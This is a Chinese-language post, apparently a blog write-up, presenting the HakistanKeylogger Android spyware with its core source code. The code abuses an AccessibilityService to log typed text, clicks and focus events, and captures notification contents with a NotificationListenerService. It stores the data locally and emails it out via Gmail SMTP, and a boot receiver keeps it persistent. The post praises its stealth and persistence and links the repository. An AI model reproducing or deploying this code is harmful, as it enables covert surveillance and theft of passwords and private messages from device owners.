
HakistanKeylogger是一个基于 Android 平台的键盘记录器,主要用于监控用户的操作行为,包括键盘输入、点击事件、焦点变化、通知栏消息等。系统通过多个服务组件实现数据的收集、存储和发送,具备一定的隐蔽性和持久性。
Gservice:后台服务,负责启动和管理其他组件,确保系统在后台持续运行。KeyService:通过 AccessibilityService 监控用户的键盘输入、点击事件和焦点变化。NotificationListener:监听通知栏消息,记录应用的通知内容。EmailWorker:负责将收集到的数据通过电子邮件发送到指定邮箱。ApkInfoExtractor:获取设备上已安装应用的信息。NetworkUtil:检查设备的网络连接状态。StartOnBootReceiver:在设备启动时自动启动 Gservice,确保系统持久运行。GApp:应用入口,创建通知渠道以便在后台运行时显示通知。SharedPreferences 存储收集到的数据,包括键盘输入、点击事件、焦点变化、通知栏消息等。AccessibilityService:
KeyService
通过 AccessibilityService 监控用户的键盘输入、点击事件和焦点变化。
核心代码:
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
DateFormat df = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US);
String time = df.format(Calendar.getInstance().getTime());
SharedPreferences.Editor editor = getSharedPreferences(MY_PREFS_NAME, MODE_PRIVATE).edit();
SharedPreferences prefs = getSharedPreferences(MY_PREFS_NAME, MODE_PRIVATE);
String perviousData = prefs.getString(MY_PREFS_STRING_KEY, "Hakistan Keylogger \n");//"No name defined" is the default value.
switch(event.getEventType()) {
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {
String data = event.getText().toString();
// SendToServerTask sendTask = new SendToServerTask();
String string = time + "|(TEXT)|" + data;
perviousData = perviousData + string+"\n";
Long perviousNotiCountData = prefs.getLong(MY_PREFS_Text_Count_KEY,0);//"No name defined" is the default value.
Long tosaveCount = perviousNotiCountData + 1;
editor.putLong(MY_PREFS_Text_Count_KEY, tosaveCount);
//editor.putInt("idName", 12);
editor.putString(MY_PREFS_STRING_KEY, perviousData);
//editor.putInt("idName", 12);
editor.apply();
break;
}
case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
String data = event.getText().toString();
//SendToServerTask sendTask = new SendToServerTask();
String FOCUSED = time + "|(FOCUSED)|" + data;
perviousData = perviousData + FOCUSED + "\n";
Long perviousNotiCountData = prefs.getLong(MY_PREFS_FOCUSED_Count_KEY,0);//"No name defined" is the default value.
Long tosaveCount = perviousNotiCountData + 1;
editor.putLong(MY_PREFS_FOCUSED_Count_KEY, tosaveCount);
//editor.putInt("idName", 12);
// editor.putString(MY_PREFS_STRING_KEY, perviousData);
editor.putString(MY_PREFS_STRING_KEY, perviousData);
//editor.putInt("idName", 12);
editor.apply();
break;
}
case AccessibilityEvent.TYPE_VIEW_CLICKED: {
String data = event.getText().toString();
//SendToServerTask sendTask = new SendToServerTask();
String CLICKED = time + "|(CLICKED)|" + data;
perviousData = perviousData + CLICKED + "\n";
Long perviousNotiCountData = prefs.getLong(MY_PREFS_Clicks_Count_KEY,0);//"No name defined" is the default value.
Long tosaveCount = perviousNotiCountData + 1;
editor.putLong(MY_PREFS_Clicks_Count_KEY, tosaveCount);
//editor.putInt("idName", 12);
// editor.putString(MY_PREFS_STRING_KEY, perviousData);
editor.putString(MY_PREFS_STRING_KEY, perviousData);
//editor.putInt("idName", 12);
editor.apply();
break;
}
default:
break;
}
}NotificationListenerService:
NotificationListener
通过 NotificationListenerService 监听通知栏消息,记录应用的通知内容。
核心代码:
@Override
public void onNotificationPosted(StatusBarNotification sbn){
// Implement what you want here
DateFormat df = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US);
String time = df.format(Calendar.getInstance().getTime());
SharedPreferences.Editor editor = getSharedPreferences(MY_PREFS_NAME, MODE_PRIVATE).edit();
SharedPreferences prefs = getSharedPreferences(MY_PREFS_NAME, MODE_PRIVATE);
String perviousData = prefs.getString(MY_PREFS_STRING_KEY, "Hakistan Keylogger \n");//"No name defined" is the default value.
String pack = sbn.getPackageName();
// String ticker = sbn.getNotification().tickerText.toString();
Bundle extras = null;
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT) {
extras = sbn.getNotification().extras;
}
assert extras != null;
String title = extras.getString("android.title");
String text = extras.getCharSequence("android.text").toString();
String noti_data = "\n\nTime: " + time + "\n" + "App Name: " + pack +"\nTitle: " +title+"\nText: "+text+"\n\n";
//noti_data = ""
perviousData = perviousData + noti_data+ "\n";
editor.putString(MY_PREFS_STRING_KEY, perviousData);
Long perviousNotiCountData = prefs.getLong(MY_PREFS_Notification_Count_KEY,0);//"No name defined" is the default value.
Long tosaveCount = perviousNotiCountData + 1;
editor.putLong(MY_PREFS_Notification_Count_KEY, tosaveCount);
//editor.putInt("idName", 12);
editor.apply();
// SharedPreferences prefs = getSharedPreferences(MY_PREFS_NAME, MODE_PRIVATE);
// String name = prefs.getString(MY_PREFS_STRING_NAME, "No name defined");//"No name defined" is the default value.
// int idName = prefs.getInt("idName", 0); //0 is the default value.
// Log.i("DTat",name);
// Log.i("Package",pack);
// Log.i("Ticker",ticker);
//Log.i("Title",title);
// Log.i("Text",text);
}邮件发送:
EmailWorker
使用 JavaMail API 将收集到的数据通过电子邮件发送到指定邮箱。
核心代码:
private Session createSessionObject() {
Properties properties = new Properties();
properties.put("mail.smtp.auth", "true");
properties.put("mail.smtp.starttls.enable", "true");
properties.put("mail.smtp.host", "smtp.gmail.com");
properties.put("mail.smtp.port", "587");
return Session.getInstance(properties, new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(email, password);
}
});
}持久化运行:
StartOnBootReceiver
在设备启动时自动启动 Gservice,确保系统持久运行。
核心代码:
@Override
public void onReceive(Context context, Intent intent) {
if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
Intent i = new Intent(context, Gservice.class);
ContextCompat.startForegroundService(context, i);
}
}HakistanKeylogger通过多个 Android 服务组件实现了对用户操作的全面监控,具备较强的隐蔽性和持久性。
github链接地址:https://github.com/hakistan/HakistanKeylogger.git